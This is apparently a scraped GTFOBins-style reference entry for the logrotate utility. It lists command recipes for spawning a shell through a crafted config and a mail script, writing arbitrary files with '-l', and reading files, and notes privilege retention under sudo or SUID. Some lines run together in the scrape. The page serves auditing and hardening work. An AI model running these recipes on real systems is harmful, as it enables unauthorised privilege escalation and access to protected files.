logrotate
Shell
This executable can spawn an interactive system shell.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh logrotate -m /path/to/temp-file.sh -f /path/to/temp-file
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
logrotate -l /path/to/output-file DATAThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.logrotate -l /path/to/output-file DATAThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.logrotate -l /path/to/output-file DATA
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
logrotate /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.logrotate /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.logrotate /path/to/input-file